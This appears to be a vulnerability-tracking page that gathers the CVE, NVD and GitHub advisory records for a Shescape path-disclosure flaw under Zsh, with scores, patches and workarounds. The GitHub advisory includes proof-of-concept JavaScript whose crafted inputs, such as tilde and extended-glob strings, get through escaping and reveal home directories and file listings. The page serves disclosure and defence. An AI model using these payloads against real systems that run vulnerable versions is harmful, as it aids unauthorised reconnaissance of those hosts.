Shescape: Path disclosure on Unix with Zsh
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-73412
PublishedShescape is a simple shell escape library for JavaScript. Prior to 2.1.14 and 3.0.1, this impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem. In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information. This issue is fixed in versions 2.1.14 and 3.0.1.
- Source published
- 12 Aug 2026 19:38:41 UTC
- Source modified
- 13 Aug 2026 12:38:03 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-73412
PublishedShescape is a simple shell escape library for JavaScript. Prior to 2.1.14 and 3.0.1, this impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem. In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information. This issue is fixed in versions 2.1.14 and 3.0.1.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-78 · CWE-155
Original publisher date fields
published: 2026-08-12T20:17:56.203
lastModified: 2026-10-24T15:10:00.190
- Source published
- 12 Aug 2026 20:17:56 UTC
- Source modified
- 24 Oct 2026 15:10:00 UTC
- Observed here
- 25 Oct 2026 15:19:03 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-6v4m-fw66-8r4x
Published### Impact This impacts users of Shescape on Unix systems that explicitly configure `shell` to Zsh, or `true` when the default shell is Zsh, using the `escape` and `escapeAll`. The Zsh options `EXTENDED_GLOB` and `MAGIC_EQUAL_SUBST` exacerbate the problem. In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information. #### Without option / with `MAGIC_EQUAL_SUBST` ```javascript import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // 2. Payload const payload1 = ":~"; // Or const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST // 3. Usage const shescape = new Shescape(options); let escapedPayload; escapedPayload = shescape.escape(payload1); // Or escapedPayload = shescape.escapeAll([payload1]); // And (example) const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options); // Or escapedPayload = shescape.escape(payload2); // Or escapedPayload = shescape.escapeAll([payload2]); // And (example) const result2 = cp.execSync(`echo ${escapedPayload}`, options); // 4. Impact console.log("", result1.toString().trim(), "\n", result2.toString().trim()); // Outputs ":" followed by the user's home directory on one line and "a=" // followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next. ``` #### With `EXTENDED_GLOB` ```javascript import * as cp from "node:child_process"; import { Shescape } from "shescape"; // 1. Prerequisites const options = { shell: "zsh", // Or shell: true, // Only if the default shell is Zsh }; // And (example) // `setopt EXTENDED_GLOB` in ~/.zshenv // 2. Payload let payload; payload = "pa#ckage.json"; // Or payload = "^package.json~package-lock.json"; // Or payload = "^nonexistent"; // 3. Usage const shescape = new Shescape(options); let escapedPayload; escapedPayload = shescape.escape(payload); // Or escapedPayload = shescape.escapeAll([payload]); // And (example) const result = cp.execSync(`echo ${escapedPayload}`, options); // 4. Impact console.log(result.toString()); // Outputs files and directories in the current directory ``` ### Patches This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now. If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3. No patches will be released for version of Shescape lower than v2.0.0. ### Workarounds Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the `EXTENDED_GLOB` option is disabled, 3) remove all instances of `^`, `#`, and `~` from untrusted inputs. ### For more information - Comment on Pull Request [#2651] for v2 and [#2649] for v3 - Comment on commit [b4b34c3] for v2 and [43d70b5] for v3 - Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)
- Source published
- 24 Jul 2026 22:33:38 UTC
- Source modified
- 27 Aug 2026 05:15:08 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE